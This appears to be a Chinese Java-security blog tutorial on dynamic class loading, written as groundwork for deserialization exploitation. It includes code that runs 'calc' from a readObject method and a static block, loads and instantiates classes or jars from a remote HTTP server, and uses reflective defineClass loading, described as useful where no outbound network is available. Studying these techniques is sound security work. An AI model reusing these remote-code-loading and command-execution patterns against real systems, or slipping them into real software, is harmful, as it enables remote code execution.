【JavaSec】类的动态加载初探

0x02 类的动态加载

  • 什么是类加载?

即虚拟机加载.class文件

在类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块、无参构造函数

实例:

public class Person implements Serializable {
//    private transient String name;  使用transient 不会被反序列化存储
    public String name;
    private int age;


    public static int id;

    //不管调用哪种静态方法 都会调用静态代码块
    static {
        System.out.println("这是静态代码块");
    }


    public static void staticAction(){
        System.out.println("这是静态方法");
    }

    //不管调用哪种构造方法 都会调用构造代码块
    {
        System.out.println("这是构造代码块");
    }


    public Person(){
        System.out.println("这是无参Person");
    }
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    private void action(String act){
        System.out.println(act);
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

创建一个加载类:

package bli_seri;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
        new Person();
    }
}

输出:

image-20240818175224166

image-20240818175355644

image-20240818175455674

注意这里的静态代码块仅会在初始化时执行一次,因为刚刚在测试的时候 打算一次输出,但是发现只会产生一次

image-20240818180458308

动态类加载方法:

Class.forName : 可以选择是否进行初始化 注意!避坑,如果想加载的类在不同包里 一定要加上包名

初始化:

package bli_seri;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
        //初始化动态注册 方法1 
        Class c = Person.class;
        System.out.println(c);
        Class.forName(c.getName());
        
        //初始化动态注册 方法2
        Class.forName("bli_seri.Person");  //动态注册  会初始化
    }
}

image-20240818182452179

不初始化:

可控:

image-20240818182916914

image-20240818182949563

  • 类加载:

流程:

继承关系:

ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader

image-20240818193815138

image-20240818194010752

image-20240818194019790

调用关系:

loaClass -> findClass(重写方法) -> defineClass(从字节码加载类)

image-20240818194047205

image-20240818194257017

image-20240818194322863

我们想根据这个底层的原理 实现对任意类进行加载

javac原理:

将源码文件.java 编译成对应的字节码文件.class

下面尝试使用URLClassLoader进行尝试

testCalc文件:

package TryLoad;

import java.io.IOException;

public class testCalc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

注意小锤子是编译 生成.class

image-20240818195741071

放在指定路径下

image-20240818200043632

package bli_seri;

import java.net.URL;
import java.net.URLClassLoader;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{

        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///F:\\tmp\\classes\\")});
        Class<?> c = urlClassLoader.loadClass("TryLoad.testCalc");
        //初始化 加载静态代码块内容
        c.newInstance();


    }
}

一定要注意这种有包的路径问题

image-20240818212013968

执行成功

image-20240818195955839

http协议:

有一个避坑点,这个可能在真实利用的场景中没影响,就是idea对本地的url无法发起请求 但是对外部服务器可以正常执行

执行代码:

package bli_seri;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://120.xxx.xxx.xxx:7789/")});
        
        Class<?> c = urlClassLoader.loadClass("Test");

        //初始化 加载静态代码块内容
        c.newInstance();

    }
}

文件信息: 也补充一个杀死端口进程的方法

image-20240819111019811

image-20240819110820368

jar协议:

对单独的class文件进行打包 成jar文件

image-20240819111504579

命令:jar -cvf Calc.jar Clac.class

http读取方法:

代码: 注意格式

import java.net.URL;
import java.net.URLClassLoader;

public class tryCalc {
    public static void main(String[] args) throws Exception{

        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://120.xxx.xxx.xxx:7789/Test.jar!/")});
        Class calc = urlClassLoader.loadClass("Test");
        calc.newInstance();
    }
}

image-20240819111730156

file读取方法:

文件位置

image-20240819112049482

image-20240819112030160

  • 使用defineClass类加载 方法

//使用defineCLass
//后面是根据参数写的 defineClass(String name, byte[] b, int off, int len)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\Test.class"));
Class cd = (Class) defineClassMethod.invoke(cl, "Test", code, 0, code.length);
cd.newInstance();

image-20240818220056875

通用一些,因为相比于http可以做到不出网

  • Unsafe类加载

image-20240818220518251

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值